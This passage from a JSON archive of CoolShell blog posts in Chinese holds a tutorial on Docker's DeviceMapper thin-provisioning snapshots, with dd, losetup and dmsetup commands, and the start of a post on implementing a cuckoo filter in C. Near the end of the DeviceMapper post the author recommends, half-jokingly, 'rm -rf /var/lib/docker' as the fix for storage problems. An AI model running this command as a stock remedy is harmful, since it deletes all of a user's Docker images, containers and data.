src=\"../wp-content/uploads/2015/04/jail_cell-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17029.html\">Docker基础技术：Linux Namespace（下）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17061.html\">Docker基础技术：AUFS</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2015-8-26 Docker基础技术：DeviceMapper.html",
    "content": "<html><body><p><img alt=\"how_to_set_up_an_iSCSI_LUN_with_thin\" class=\"alignright size-medium wp-image-17217\" height=\"150\" src=\"../wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-300x150.jpg\" width=\"300\"/>在上一篇<a href=\"https://coolshell.cn/articles/17061.html\" target=\"_blank\">介绍AUFS的文章</a>中，大家可以看到，Docker的分层镜像是怎么通过UnionFS这种文件系统做到的，但是，因为Docker首选的AUFS并不在Linux的内核主干里，所以，对于非Ubuntu的Linux分发包，比如CentOS，就无法使用AUFS作为Docker的文件系统了。于是作为第二优先级的DeviceMapper就被拿出来做分层镜像的一个实现。</p>\n<h4>Device Mapper 简介</h4>\n<p>DeviceMapper自Linux 2.6被引入成为了Linux最重要的一个技术。它在内核中支持逻辑卷管理的通用设备映射机制，它为实现用于存储资源管理的块设备驱动提供了一个高度模块化的内核架构，它包含三个重要的对象概念，Mapped Device、Mapping Table、Target device。</p>\n<p>Mapped Device 是一个逻辑抽象，可以理解成为内核向外提供的逻辑设备，它通过Mapping Table描述的映射关系和 Target Device 建立映射。Target device 表示的是 Mapped Device 所映射的物理空间段，对 Mapped Device 所表示的逻辑设备来说，就是该逻辑设备映射到的一个物理设备。</p>\n<p>Mapping Table里有 Mapped Device 逻辑的起始地址、范围、和表示在 Target Device 所在物理设备的地址偏移量以及Target 类型等信息（注：这些地址和偏移量都是以磁盘的扇区为单位的，即 512 个字节大小，所以，当你看到128的时候，其实表示的是128*512=64K）。</p>\n<p><span id=\"more-17200\"></span></p>\n<p>DeviceMapper 中的逻辑设备Mapped Device不但可以映射一个或多个物理设备Target Device，还可以映射另一个Mapped Device，于是，就是构成了一个迭代或递归的情况，就像文件系统中的目录里除了文件还可以有目录，理论上可以无限嵌套下去。</p>\n<p>DeviceMapper在内核中通过一个一个模块化的 Target Driver 插件实现对 IO 请求的过滤或者重新定向等工作，当前已经实现的插件包括软 Raid、加密、多路径、镜像、快照等，这体现了在 Linux 内核设计中策略和机制分离的原则。如下图所示。从图中，我们可以<strong>看到DeviceMapper只是一个框架，在这个框架上，我们可以插入各种各样的策略</strong>（让我不自然地想到了面向对象中的策略模式），在这诸多“插件”中，<strong>有一个东西叫Thin Provisioning Snapshot，这是Docker使用DeviceMapper中最重要的模块</strong>。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_17204\" style=\"width: 640px;\"><img alt=\"图片来源：http://people.redhat.com/agk/talks/FOSDEM_2005/\" class=\"size-full wp-image-17204\" height=\"494\" src=\"../wp-content/uploads/2015/08/device.mapper.2.gif\" width=\"640\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-17204\">图片来源：<a href=\"http://people.redhat.com/agk/talks/FOSDEM_2005/\" target=\"_blank\">http://people.redhat.com/agk/talks/FOSDEM_2005/</a></figcaption></figure>\n<h4><strong>Thin Provisioning 简介</strong></h4>\n<p>Thin Provisioning要怎么翻译成中文，真是一件令人头痛的事，我就不翻译了。这个技术是虚拟化技术中的一种。它是什么意思呢？<strong>你可以联想一下我们计算机中的内存管理中用到的——“虚拟内存技术”</strong>——操作系统给每个进程N多N多用不完的内址地址（32位下，每个进程可以有最多2GB的内存空间），但是呢，我们知道，物理内存是没有那么多的，如果按照进程内存和物理内存一一映射来玩的话，那么，我们得要多少的物理内存啊。所以，操作系统引入了虚拟内存的设计，<strong>意思是，我逻辑上给你无限多的内存，但是实际上是实报实销</strong>，因为我知道你一定用不了那么多，于是，达到了内存使用率提高的效果。（今天云计算中很多所谓的虚拟化其实完全都是在用和“虚拟内存”相似的Thin Provisioning的技术，所谓的超配，或是超卖）</p>\n<p> </p>\n<p>好了，话题拉回来，我们这里说的是存储。看下面两个图（<a href=\"http://www.architecting.it/2009/06/04/enterprise-computing-why-thin-provisioning-is-not-the-holy-grail-for-utilisation/\" target=\"_blank\">图片来源</a>），第一个是Fat Provisioning，第二个是Thin Provisioning，其很好的说明了是个怎么一回事（和虚拟内存是一个概念）</p>\n<p><img alt=\"thin-provisioning-1\" class=\"aligncenter size-full wp-image-17206\" height=\"399\" src=\"../wp-content/uploads/2015/08/thin-provisioning-1.jpg\" width=\"606\"/> <img alt=\"thin-provisioning-2\" class=\"aligncenter size-full wp-image-17207\" height=\"389\" src=\"../wp-content/uploads/2015/08/thin-provisioning-2.jpg\" width=\"606\"/></p>\n<p>那么，Docker是怎么使用Thin Provisioning这个技术做到像UnionFS那样的分层镜像的呢？答案是，Docker使用了Thin Provisioning的Snapshot的技术。下面我们来介绍一下Thin Provisioning的Snapshot。</p>\n<h4>Thin Provisioning Snapshot 演示</h4>\n<p>下面，我们用一系列的命令来演示一下Device Mapper的Thin Provisioning Snapshot是怎么玩的。</p>\n<p>首先，我们需要先建两个文件，一个是data.img，一个是meta.data.img：</p>\n<pre class=\"EnlighterJSRAW\">~hchen$ sudo dd if=/dev/zero of=/tmp/data.img bs=1K count=1 seek=10M\n1+0 records in\n1+0 records out\n1024 bytes (1.0 kB) copied, 0.000621428 s, 1.6 MB/s\n\n~hchen$ sudo dd if=/dev/zero of=/tmp/meta.data.img bs=1K count=1 seek=1G\n1+0 records in\n1+0 records out\n1024 bytes (1.0 kB) copied, 0.000140858 s, 7.3 MB/s</pre>\n<p>注意命令中<code>seek</code>选项，其表示为略过<code>of</code>选项指定的输出文件的前10G个output的bloksize的空间后再写入内容。因为bs是1个字节，所以也就是10G的尺寸，但其实在硬盘上是没有占有空间的，占有空间只有1k的内容。当向其写入内容时，才会在硬盘上为其分配空间。我们可以用ls命令看一下，实际分配了12K和4K。</p>\n<pre class=\"EnlighterJSRAW\">~hchen$ sudo ls -lsh /tmp/data.img\n12K -rw-r--r--. 1 root root 11G Aug 25 23:01 /tmp/data.img\n\n~hchen$ sudo ls -slh /tmp/meta.data.img\n4.0K -rw-r--r--. 1 root root 101M Aug 25 23:17 /tmp/meta.data.img</pre>\n<p>然后，我们为这个文件创建一个loopback设备。（loop2015和loop2016是我乱取的两个名字）</p>\n<pre class=\"EnlighterJSRAW\">~hchen$ sudo losetup /dev/loop2015 /tmp/data.img\n~hchen$ sudo losetup /dev/loop2016 /tmp/meta.data.img\n\n~hchen$ sudo losetup -a\n/dev/loop2015: [64768]:103991768 (/tmp/data.img)\n/dev/loop2016: [64768]:103991765 (/tmp/meta.data.img)</pre>\n<p>现在，我们为这个设备建一个Thin Provisioning的Pool，用dmsetup命令：</p>\n<pre class=\"EnlighterJSRAW\">~hchen$ sudo dmsetup create hchen-thin-pool \\\n                  --table \"0 20971522 thin-pool /dev/loop2016 /dev/loop2015 \\\n                           128 65536 1 skip_block_zeroing\"</pre>\n<p>其中的参数解释如下（更多信息可参看<a href=\"https://github.com/torvalds/linux/blob/master/Documentation/device-mapper/thin-provisioning.txt\" target=\"_blank\">Thin Provisioning的man page</a>）：</p>\n<ul>\n<li>dmsetup create是用来创建thin pool的命令</li>\n<li>hchen-thin-pool 是自定义的一个pool名，不冲突就好。</li>\n<li>–table是这个pool的参数设置\n<ul>\n<li>0代表起的sector位置</li>\n<li>20971522代码结句的sector号，前面说过，一个sector是512字节，所以，20971522个正好是10GB</li>\n<li>/dev/loop2016是meta文件的设备（前面我们建好了）</li>\n<li>/dev/loop2015是data文件的设备（前面我们建好了）</li>\n<li>128是最小的可分配的sector数</li>\n<li>65536是最少可用sector的water mark，也就是一个threshold</li>\n<li>1 代表有一个附加参数</li>\n<li>skip_block_zeroing是个附加参数，表示略过用0填充的块</li>\n</ul>\n</li>\n</ul>\n<p>然后，我们就可以看到一个Device Mapper的设备了：</p>\n<pre class=\"EnlighterJSRAW\">~hchen$ sudo ll /dev/mapper/hchen-thin-pool\nlrwxrwxrwx. 1 root root 7 Aug 25 23:24 /dev/mapper/hchen-thin-pool -&gt; ../dm-4</pre>\n<p>接下来，我们的初始还没有完成，还要创建一个Thin Provisioning 的 Volume：</p>\n<pre class=\"EnlighterJSRAW\">~hchen$ sudo dmsetup message /dev/mapper/hchen-thin-pool 0 \"create_thin 0\"\n~hchen$ sudo dmsetup create hchen-thin-volumn-001 \\\n            --table \"0 2097152 thin /dev/mapper/hchen-thin-pool 0\"</pre>\n<p>其中：</p>\n<ul>\n<li>第一个命令中的create_thin是关键字，后面的0表示这个Volume的device 的 id</li>\n<li>第二个命令，是真正的为这个Volumn创建一个可以mount的设备，名字叫hchen-thin-volumn-001。2097152只有1GB</li>\n</ul>\n<p>好了，在mount前，我们还要格式化一下：</p>\n<pre class=\"EnlighterJSRAW\">~hchen$ sudo mkfs.ext4 /dev/mapper/hchen-thin-volumn-001\nmke2fs 1.42.9 (28-Dec-2013)\nDiscarding device blocks: done\nFilesystem label=\nOS type: Linux\nBlock size=4096 (log=2)\nFragment size=4096 (log=2)\nStride=16 blocks, Stripe width=16 blocks\n65536 inodes, 262144 blocks\n13107 blocks (5.00%) reserved for the super user\nFirst data block=0\nMaximum filesystem blocks=268435456\n8 block groups\n32768 blocks per group, 32768 fragments per group\n8192 inodes per group\nSuperblock backups stored on blocks:\n32768, 98304, 163840, 229376\n\nAllocating group tables: done\nWriting inode tables: done\nCreating journal (8192 blocks): done\nWriting superblocks and filesystem accounting information: done</pre>\n<p>好了，我们可以mount了（下面的命令中，我还创建了一个文件）</p>\n<pre class=\"EnlighterJSRAW\">~hchen$ sudo mkdir -p /mnt/base\n~hchen$ sudo mount /dev/mapper/hchen-thin-volumn-001 /mnt/base\n~hchen$ sudo echo \"hello world, I am a base\" &gt; /mnt/base/id.txt\n~hchen$ sudo cat /mnt/base/id.txt\nhello world, I am a base</pre>\n<p>好了，接下来，我们来看看snapshot怎么搞：</p>\n<pre class=\"EnlighterJSRAW\">~hchen$ sudo dmsetup message /dev/mapper/hchen-thin-pool 0 \"create_snap 1 0\"\n~hchen$ sudo dmsetup create mysnap1 \\\n                   --table \"0 2097152 thin /dev/mapper/hchen-thin-pool 1\"\n\n~hchen$ sudo ll /dev/mapper/mysnap1\nlrwxrwxrwx. 1 root root 7 Aug 25 23:49 /dev/mapper/mysnap1 -&gt; ../dm-5</pre>\n<p>上面的命令中：</p>\n<ul>\n<li>第一条命令是向hchen-thin-pool发一个create_snap的消息，后面跟两个id，第一个是新的dev id，第二个是要从哪个已有的dev id上做snapshot（0这个dev id是我们前面就创建了了）</li>\n</ul>\n<ul>\n<li>第二条命令是创建一个mysnap1的device，并可以被mount。</li>\n</ul>\n<p>下面我们来看看：</p>\n<pre class=\"EnlighterJSRAW\">~hchen$ sudo mkdir -p /mnt/mysnap1\n~hchen$ sudo mount /dev/mapper/mysnap1 /mnt/mysnap1\n\n~hchen$ sudo ll /mnt/mysnap1/\ntotal 20\n-rw-r--r--. 1 root root 25 Aug 25 23:46 id.txt\ndrwx------. 2 root root 16384 Aug 25 23:43 lost+found\n\n~hchen$ sudo cat /mnt/mysnap1/id.txt\nhello world, I am a base</pre>\n<p>我们来修改一下/mnt/mysnap1/id.txt，并加上一个snap1.txt的文件：</p>\n<pre class=\"EnlighterJSRAW\">~hchen$ sudo echo \"I am snap1\" &gt;&gt; /mnt/mysnap1/id.txt\n~hchen$ sudo echo \"I am snap1\" &gt; /mnt/mysnap1/snap1.txt\n\n~hchen$ sudo cat /mnt/mysnap1/id.txt\nhello world, I am a base\nI am snap1\n\n~hchen$ sudo cat /mnt/mysnap1/snap1.txt\nI am snap1</pre>\n<p>我们再看一下/mnt/base，你会发现没有什么变化：</p>\n<pre class=\"EnlighterJSRAW\">~hchen$ sudo ls /mnt/base\nid.txt      lost+found\n~hchen$ sudo cat /mnt/base/id.txt\nhello world, I am a base</pre>\n<p>你是不是已经看到了分层镜像的样子了？</p>\n<p>你还要吧继续在刚才的snapshot上再建一个snapshot</p>\n<pre class=\"EnlighterJSRAW\">~hchen$ sudo dmsetup message /dev/mapper/hchen-thin-pool 0 \"create_snap 2 1\"\n~hchen$ sudo dmsetup create mysnap2 \\\n                   --table \"0 2097152 thin /dev/mapper/hchen-thin-pool 2\"\n\n~hchen$ sudo ll /dev/mapper/mysnap2\nlrwxrwxrwx. 1 root root 7 Aug 25 23:52 /dev/mapper/mysnap1 -&gt; ../dm-7\n\n~hchen$ sudo mkdir -p /mnt/mysnap2\n~hchen$ sudo mount /dev/mapper/mysnap2 /mnt/mysnap2\n~hchen$ sudo  ls /mnt/mysnap2\nid.txt  lost+found  snap1.txt </pre>\n<p>好了，我相信你看到了分层镜像的样子了。</p>\n<p>看完演示，我们再来补点理论知识吧：</p>\n<ul>\n<li>Snapshot来自LVM（Logic Volumn Manager），它可以在不中断服务的情况下为某个device打一个快照。</li>\n<li>Snapshot是Copy-On-Write的，也就是说，只有发生了修改，才会对对应的内存进行拷贝。</li>\n</ul>\n<p>另外，这里有篇文章<a href=\"http://searchstorage.techtarget.com/tip/Storage-thin-provisioning-benefits-and-challenges\" target=\"_blank\">Storage thin provisioning benefits and challenges</a>可以前往一读。</p>\n<h4>Docker的DeviceMapper</h4>\n<p>上面基本上就是Docker的玩法了，我们可以看一下docker的loopback设备：</p>\n<pre class=\"EnlighterJSRAW\">~hchen $ sudo losetup -a\n/dev/loop0: [64768]:38050288 (/var/lib/docker/devicemapper/devicemapper/data)\n/dev/loop1: [64768]:38050289 (/var/lib/docker/devicemapper/devicemapper/metadata)</pre>\n<p>其中data 100GB，metadata 2.0GB</p>\n<pre class=\"EnlighterJSRAW\">~hchen $ sudo ls -alhs /var/lib/docker/devicemapper/devicemapper\n506M -rw-------. 1 root root 100G Sep 10 20:15 data\n1.1M -rw-------. 1 root root 2.0G Sep 10 20:15 metadata </pre>\n<p>下面是相关的thin-pool。其中，有个当一大串hash串的device是正在启动的容器：</p>\n<pre class=\"EnlighterJSRAW\">~hchen $ sudo ll /dev/mapper/dock*\nlrwxrwxrwx. 1 root root 7 Aug 25 07:57 /dev/mapper/docker-253:0-104108535-pool -&gt; ../dm-2\nlrwxrwxrwx. 1 root root 7 Aug 25 11:13 /dev/mapper/docker-253:0-104108535-deefcd630a60aa5ad3e69249f58a68e717324be4258296653406ff062f605edf -&gt; ../dm-3</pre>\n<p>我们可以看一下它的device id（Docker都把它们记下来了）：</p>\n<pre class=\"EnlighterJSRAW\">~hchen $ sudo cat /var/lib/docker/devicemapper/metadata/deefcd630a60aa5ad3e69249f58a68e717324be4258296653406ff062f605edf\n{\"device_id\":24,\"size\":10737418240,\"transaction_id\":26,\"initialized\":false}</pre>\n<p>device_id是24，size是10737418240，除以512，就是20971520 个 sector，我们用这些信息来做个snapshot看看（注：我用了一个比较大的dev id – 1024）：</p>\n<pre class=\"EnlighterJSRAW\">~hchen$ sudo dmsetup message \"/dev/mapper/docker-253:0-104108535-pool\" 0 \\\n                                    \"create_snap 1024 24\"\n~hchen$ sudo dmsetup create dockersnap --table \\\n                    \"0 20971520 thin /dev/mapper/docker-253:0-104108535-pool 1024\"\n~hchen$ sudo mkdir /mnt/docker\n~hchen$ sudo mount /dev/mapper/dockersnap /mnt/docker/\n~hchen$ sudo ls /mnt/docker/\nid lost+found rootfs\n~hchen$ sudo ls /mnt/docker/rootfs/\nbin dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var</pre>\n<p>我们在docker的容器里用findmnt命令也可以看到相关的mount的情况（因为太长，下面只是摘要）：</p>\n<pre class=\"EnlighterJSRAW\"># findmnt\nTARGET                SOURCE               \n/                 /dev/mapper/docker-253:0-104108535-deefcd630a60[/rootfs]\n/etc/resolv.conf  /dev/mapper/centos-root[/var/lib/docker/containers/deefcd630a60/resolv.conf]\n/etc/hostname     /dev/mapper/centos-root[/var/lib/docker/containers/deefcd630a60/hostname]\n/etc/hosts        /dev/mapper/centos-root[/var/lib/docker/containers/deefcd630a60/hosts]</pre>\n<h4>Device Mapper 行不行？</h4>\n<p>Thin Provisioning的文档中说，这还处理实验阶段，不要上Production.</p>\n<blockquote><p>These targets are very much still in the EXPERIMENTAL state. Please do not yet rely on them in production.</p></blockquote>\n<p>另外，Jeff Atwood在Twitter上发过这样的一推</p>\n<p><a href=\"https://twitter.com/codinghorror/status/604096348682485760\"><img alt=\"Jeff.Atwood.DeviceMapper\" class=\"aligncenter size-full wp-image-17214\" height=\"311\" src=\"../wp-content/uploads/2015/08/Jeff.Atwood.DeviceMapper.png\" width=\"607\"/></a></p>\n<p>这个推指向的<a href=\"https://forums.docker.com/t/rmi-not-freeing-disk-space-in-devicemapper-sparse-file-centos-6-6/1640/3\" target=\"_blank\">这个讨论</a>中，其中指向了这个<a href=\"https://github.com/discourse/discourse_docker/commit/48f22d14f39496c8df446cbc65ee04b258c5a1a0\" target=\"_blank\">code diff</a>，基本上就是说，DeviceMapper这种东西问题太多了，我们应该把其加入黑名单。Doker的Founder也这样回复到：</p>\n<p><a href=\"https://twitter.com/solomonstre/status/604055267303636992\"><img alt=\"\" class=\"aligncenter size-full wp-image-17215\" height=\"229\" src=\"../wp-content/uploads/2015/08/Solomon.Hykeys.DeviceMapper.png\" width=\"620\"/></a></p>\n<p>所以，如果你在使用loopback的devicemapper的话，当你的存储出现了问题后，正确的解决方案是：</p>\n<p style=\"text-align: center;\">rm -rf /var/lib/docker</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17061.html\"><img alt=\"Docker基础技术：AUFS\" height=\"150\" src=\"../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17061.html\">Docker基础技术：AUFS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17049.html\"><img alt=\"Docker基础技术：Linux CGroup\" height=\"150\" src=\"../wp-content/uploads/2015/04/filter-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17049.html\">Docker基础技术：Linux CGroup</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17010.html\"><img alt=\"Docker基础技术：Linux Namespace（上）\" height=\"150\" src=\"../wp-content/uploads/2015/04/isolation-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17010.html\">Docker基础技术：Linux Namespace（上）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17029.html\"><img alt=\"Docker基础技术：Linux Namespace（下）\" height=\"150\" src=\"../wp-content/uploads/2015/04/jail_cell-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17029.html\">Docker基础技术：Linux Namespace（下）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17200.html\">Docker基础技术：DeviceMapper</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2015-9-2 Cuckoo Filter：设计与实现.html",
    "content": "<html><body><p><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>\n<p><img alt=\"\" class=\"alignright wp-image-17243 size-medium\" height=\"164\" src=\"../wp-content/uploads/2015/08/cuckoo-300x164.jpg\" width=\"300\"/></p>\n<p>对于海量数据处理业务，我们通常需要一个索引数据结构，用来帮助查询，快速判断数据记录是否存在，这种数据结构通常又叫过滤器(filter)。考虑这样一个场景，上网的时候需要在浏览器上输入URL，这时浏览器需要去判断这是否一个恶意的网站，它将对本地缓存的成千上万的URL索引进行过滤，如果不存在，就放行，如果（可能）存在，则向远程服务端发起验证请求，并回馈客户端给出警告。</p>\n<p>索引的存储又分为有序和无序，前者使用关联式容器，比如B树，后者使用哈希算法。这两类算法各有优劣：比如，关联式容器时间复杂度稳定O(logN)，且支持范围查询；又比如哈希算法的查询、增删都比较快O(1)，但这是在理想状态下的情形，遇到碰撞严重的情况，哈希算法的时间复杂度会退化到O(n)。因此，选择一个好的哈希算法是很重要的。</p>\n<p>时下一个非常流行的哈希索引结构就是<strong><a href=\"https://en.wikipedia.org/wiki/Bloom_filter\" target=\"_blank\">bloom filter</a></strong>，它类似于bitmap这样的hashset，所以空间利用率很高。其独特的地方在于它使用多个哈希函数来避免哈希碰撞，如图所示（<a href=\"https://en.wikipedia.org/wiki/Bloom_filter\" target=\"_blank\">来源wikipedia</a>），bit数组初始化为全0，插入x时，x被3个哈希函数分别映射到3个不同的bit位上并置1，查询x时，只有被这3个函数映射到的bit位全部是1才能说明x可能存在，但凡至少出现一个0表示x肯定不存在。</p>\n<p><img alt=\"Bloom_filter\" class=\"aligncenter size-full wp-image-17242\" height=\"233\" src=\"../wp-content/uploads/2015/08/Bloom_filter.png\" width=\"649\"/></p>\n<p><span id=\"more-17225\"></span></p>\n<p>但是，bloom filter的这种位图模式带来两个问题：一个是<strong>误报（false positives）</strong>，在查询时能提供“一定不存在”，但只能提供“可能存在”，因为存在其它元素被映射到部分相同bit位上，导致该位置1，那么一个不存在的元素可能会被误报成存在；另一个是<strong>漏报（false nagatives）</strong>，同样道理，如果删除了某个元素，导致该映射bit位被置0，那么本来存在的元素会被漏报成不存在。由于后者问题严重得多，所以bloom filter必须确保“definitely no”从而容忍“probably yes”，不允许元素的删除。</p>\n<p>关于元素删除的问题，一个改良方案是对bloom filter引入计数，但这样一来，原来每个bit空间就要扩张成一个计数值，空间效率上又降低了。</p>\n<h4>Cuckoo Hashing</h4>\n<p>为了解决这一问题，本文引入了一种新的哈希算法——<strong>cuckoo filter</strong>，它既可以确保该元素存在的必然性，又可以在不违背此前提下删除任意元素，仅仅比bitmap牺牲了微量空间效率。先说明一下，这个算法的思想来源是一篇<a href=\"http://www.cs.cmu.edu/~binfan/papers/conext14_cuckoofilter.pdf\" target=\"_blank\">CMU论文</a>，笔者按照其思路用C语言做了一个简单实现（<a href=\"https://github.com/begeekmyfriend/CuckooFilter\" target=\"_blank\">Github</a>），附上对一段文本数据进行导入导出的正确性测试。</p>\n<p>接下来我会结合自己的示例代码讲解哈希算法的实现。我们先来看看cuckoo hashing有什么特点，它的哈希函数是成对的（具体的实现可以根据需求设计），每一个元素都是两个，分别映射到两个位置，一个是记录的位置，另一个是备用位置。这个备用位置是处理碰撞时用的，这就要说到cuckoo这个名词的典故了，中文名叫布谷鸟，这种鸟有一种即狡猾又贪婪的习性，它不肯自己筑巢，而是把蛋下到别的鸟巢里，而且它的幼鸟又会比别的鸟早出生，布谷幼鸟天生有一种残忍的动作，幼鸟会拼命把未出生的其它鸟蛋挤出窝巢，今后以便独享“养父母”的食物。借助生物学上这一典故，cuckoo hashing处理碰撞的方法，就是把原来占用位置的这个元素踢走，不过被踢出去的元素还要比鸟蛋幸运，因为它还有一个备用位置可以安置，如果备用位置上还有人，再把它踢走，如此往复。直到被踢的次数达到一个上限，才确认哈希表已满，并执行rehash操作。如下图所示（<a href=\"http://codecapsule.com/2013/07/20/cuckoo-hashing/\" target=\"_blank\">图片来源</a>）：</p>\n<p><a href=\"http://codecapsule.com/2013/07/20/cuckoo-hashing/\"><img alt=\"cuckoo_preview\" class=\"aligncenter size-full wp-image-17244\" height=\"326\" src=\"../wp-content/uploads/2015/08/cuckoo_preview.jpg\" width=\"720\"/></a></p>\n<p> </p>\n<p>我们不禁要问发生哈希碰撞之前的空间利用率是多少呢？不幸地告诉你，一维数组的哈希表上跟其它哈希函数没什么区别，也就50%而已。但如果是二维的呢？</p>\n<p>一个改进的哈希表如下图所示，每个桶（bucket）有4路槽位（slot）。当哈希函数映射到同一个bucket中，在其它三路slot未被填满之前，是不会有元素被踢的，这大大缓冲了碰撞的几率。笔者自己的简单实现上测过，采用二维哈希表（4路slot）大约80%的占用率（CMU论文数据据说达到90%以上，应该是扩大了slot关联数目所致）。</p>\n<p><img alt=\"cuckoo hashing\" class=\"aligncenter wp-image-17241\" height=\"249\" src=\"../wp-content/uploads/2015/08/cuckoo-hashing-1024x392.png\" width=\"650\"/></p>\n<h4>Cuckoo Filter设计与实现</h4>\n<p>cuckoo hashing的原理介绍完了，下面就来演示一下笔者自己实现的一个cuckoo filter应用，简单易用为主，不到500行C代码。应用场景是这样的：假设有一段文本数据，我们把它通过cuckoo filter导入到一个虚拟的flash中，再把它导出到另一个文本文件中。flash存储的单元页面是一个log_entry，里面包含了一对key/value，value就是文本数据，key就是这段大小的数据的SHA1值（照理说SHA1是可以通过数据源生成，没必要存储到flash，但这里主要为了测试而故意设计的，万一key和value之间没有推导关系呢）。</p>\n<pre class=\"EnlighterJSRAW\">\n#define SECTOR_SIZE    (1 &lt;&lt; 10)\n#define DAT_LEN        (SECTOR_SIZE - 20)  /* minus sha1 size */\n\n/* The log entries store key-value pairs on flash and the\n * size of each entry is assumed just one sector fit.\n */\nstruct log_entry {\n        uint8_t sha1[20];\n        uint8_t data[DAT_LEN];\n};\n</pre>\n<p>顺便说明一下DAT_LEN设置，之前我们设计了一个虚拟flash（用malloc模拟出来），由于flash的单位是按页大小SECTOR_SIZE读写，这里假设每个log_entry正好一个页大小，当然可以根据实际情况调整。</p>\n<p>以上是flash的存储结构，至于哈希表里的slot有三个成员tag，status和offset，分别是哈希值，状态值和在flash的偏移位置。其中status有三个枚举值：AVAILIBLE，OCCUPIED，DELETED，分别表示这个slot是空闲的，占用的还是被删除的。至于tag，按理说应该有两个哈希值，对应两个哈希函数，但其中一个已经对应bucket的位置上了，所以我们只要保存另一个备用bucket的位置就行了，这样万一被踢，只要用这个tag就可以找到它的另一个安身之所。</p>\n<pre class=\"EnlighterJSRAW\">\nenum { AVAILIBLE, OCCUPIED, DELETED, };\n\n/* The in-memory hash bucket cache is to filter keys (which is assumed SHA1) via\n * cuckoo hashing function and map keys to log entries stored on flash.\n */\nstruct hash_slot_cache {\n        uint32_t tag : 30;  /* summary of key */\n        uint32_t status : 2;  /* FSM */\n        uint32_t offset;  /* offset on flash memory */\n};\n</pre>\n<p>乍看之下size有点大是吗？没关系，你也可以根据情况调整数据类型大小，比如uint16_t，这里仅仅为了测试正确性。</p>\n<p>至于哈希表以及bucket和slot的创建见初始化代码。buckets是一个二级指针，每个bucket指向4个slot大小的缓存，即4路slot，那么bucket_num也就是slot_num的1/4。这里我们故意把slot_num调小了点，为的是测试rehash的发生。</p>\n<pre class=\"EnlighterJSRAW\">\n#define ASSOC_WAY  (4)  /* 4-way association */\n\nstruct hash_table {\n    struct hash_slot_cache **buckets;\n    struct hash_slot_cache *slots;\n    uint32_t slot_num;\n    uint32_t bucket_num;\n};\n\nint cuckoo_filter_init(size_t size)\n{\n    ...\n    /* Allocate hash slots */\n    hash_table.slot_num = nvrom_size / SECTOR_SIZE;\n    /* Make rehashing happen */\n    hash_table.slot_num /= 4;\n    hash_table.slots = calloc(hash_table.slot_num, sizeof(struct hash_slot_cache));\n    if (hash_table.slots == NULL) {\n        return -1;\n    }\n\n    /* Allocate hash buckets associated with slots */\n    hash_table.bucket_num = hash_table.slot_num / ASSOC_WAY;\n    hash_table.buckets = malloc(hash_table.bucket_num * sizeof(struct hash_slot_cache *));\n    if (hash_table.buckets == NULL) {\n        free(hash_table.slots);\n        return -1;\n    }\n    for (i = 0; i &lt; hash_table.bucket_num; i++) {\n        hash_table.buckets[i] = &amp;hash_table.slots[i * ASSOC_WAY];\n    